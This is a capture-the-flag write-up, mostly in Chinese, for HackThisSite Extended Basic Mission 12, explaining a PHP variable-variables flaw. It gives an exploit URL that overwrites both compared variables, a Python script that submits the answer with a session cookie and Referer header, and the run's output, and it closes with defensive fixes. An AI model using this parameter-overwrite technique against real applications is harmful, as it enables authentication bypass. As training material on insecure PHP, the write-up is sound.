HackThisSite - Extended Basic Mission 12

Challenge

This site is run by a serious web admin. But the web developer doesn't know that much. URL: moo.com (any script you want); Exploit this code:

站点由一个认真的 web 管理员在维护,但写代码的开发者水平不高。题目给定 moo.com 上的任意脚本(any script you want),要求利用这段 PHP。

关卡页给出的脚本正文:

1
2
3
4
5
<?php
$password = 'IWantToCow';
foreach ($_GET as $key => $value) { $$key = $value; }
if ($userpass == $password) { ok(); } else { echo "<form><input type='text' name='usertext' /><input type='submit'><form>"; }
?>

Solution

$$key = $value 是 PHP 的变量变量写法:把 $key 的值当作变量名,再给它赋值。foreach ($_GET as $key => $value) 遍历 URL query string 的每个参数,于是

  • ?userpass=IWantToCow 会执行 $userpass = 'IWantToCow'
  • ?password=IWantToCow 会执行 $password = 'IWantToCow'
  • 任何其他名字同理,脚本里的变量表完全由请求者给出的 query string 决定。

脚本原本先把 $password 设成 'IWantToCow',但紧接着的循环会把它连同 $userpass 一起覆盖。最终判据是:

1
if ($userpass == $password) { ok(); }

判据只比较 $userpass$password 两个变量,而两者都在循环的可写范围内。既然 query string 能同时给它们赋值,直接让二者取同一个值就恒为真:

1
moo.com/any.php?userpass=IWantToCow&password=IWantToCow

循环结束后 $userpass$password 都是 IWantToCow== 成立,进入 ok()。题目强调脚本名可以任选(any script you want),所以文件名部分任意,真正起作用的是 query string 把两个变量一起赋值。

playit 关卡的答案要 POST 到 /missions/extbasic/template.php,字段为 formkey(每次加载关卡页都会变)与 lvl,答案放在 pass;提交必须带 Referer: <关卡页>,否则模板只回 Invalid Referer 且不计分。答案大小写敏感。完成判据是响应里出现指向下一关的 go on 链接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
"""HackThisSite Extended Basic 12 (playit) live solver.

$$key = $value is a PHP variable variable, so a query parameter named
userpass becomes $userpass and one named password becomes $password. The
level's gate compares those two names, so both are planted with the same
value in one URL and the comparison is trivially true.

The answer is case sensitive and must be POSTed to /missions/extbasic/
template.php with a fresh formkey, lvl and pass, plus a Referer of the level
page. The cookie comes from HTS_COOKIE and is never written to disk.
"""
import os
import re
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/131.0.0.0 Safari/537.36")
LEVEL = "https://www.hackthissite.org/missions/playit/extbasic/12/"
SUBMIT = "https://www.hackthissite.org/missions/extbasic/template.php"
GOON = "/missions/playit/extbasic/13"
PAYLOAD = "moo.com/any.php?userpass=IWantToCow&password=IWantToCow"
COOKIE = os.environ["HTS_COOKIE"]

def fetch(url, tries=4):
last = None
for attempt in range(tries):
req = urllib.request.Request(url, headers={"Cookie": COOKIE, "User-Agent": UA})
try:
return urllib.request.urlopen(req, timeout=30).read().decode("utf-8", "replace")
except (urllib.error.URLError, TimeoutError) as exc:
last = exc
time.sleep(2 * (attempt + 1))
raise last

def submit(answer):
page = fetch(LEVEL)
formkey = re.search(r'name="formkey" value="([^"]+)"', page).group(1)
lvl = re.search(r'name="lvl" value="([^"]+)"', page).group(1)
body = urllib.parse.urlencode(
{"formkey": formkey, "lvl": lvl, "pass": answer}).encode()
req = urllib.request.Request(
SUBMIT, data=body,
headers={"Cookie": COOKIE, "User-Agent": UA,
"Content-Type": "application/x-www-form-urlencoded",
"Referer": LEVEL})
return urllib.request.urlopen(req, timeout=30).read().decode("utf-8", "replace")

def main():
answer = sys.argv[1] if len(sys.argv) > 1 else PAYLOAD
resp = submit(answer)
print("payload: %s" % answer)
if GOON in resp:
open("submit_resp.html", "w", encoding="utf-8").write(resp)
print("[+] accepted - server handed out the go-on link to level 13")
else:
print("[-] rejected - no go-on link in response")

if __name__ == "__main__":
main()

运行输出:

1
2
3
$ cd <hts-workspace>/challenges/hts-playit/extbasic-12 && uv run python solve.py
payload: moo.com/any.php?userpass=IWantToCow&password=IWantToCow
[+] accepted - server handed out the go-on link to level 13

接受后响应里带指向 extbasic/13 的 go on 链接;账户 profile 的 Extbasic: 行计入 (12),关卡页显示 You have already done this mission.

Key points

  • $$key = $value 配合 foreach ($_GET ...) 是变量变量滥用:请求参数名被直接当成变量名写进符号表,等于让请求者遥控脚本内部的变量。
  • 判据只比较 $userpass == $password,把两者赋成同一个值即可绕过,不需要知道 $password 的明文。
  • 漏洞根因是比较的两个对象都可被外部控制,且比较前没有做类型/来源校验;防御上应从受信来源取凭据、避免动态变量名,并用 hash_equals() 做定长比较。
  • playit 提交纪律:formkey 每次加载都变,必须抓页面 → 立刻提交;提交必须带 Referer: <关卡页>,否则 Invalid Referer 且不计分。
moo.com/any.php?userpass=IWantToCow&password=IWantToCow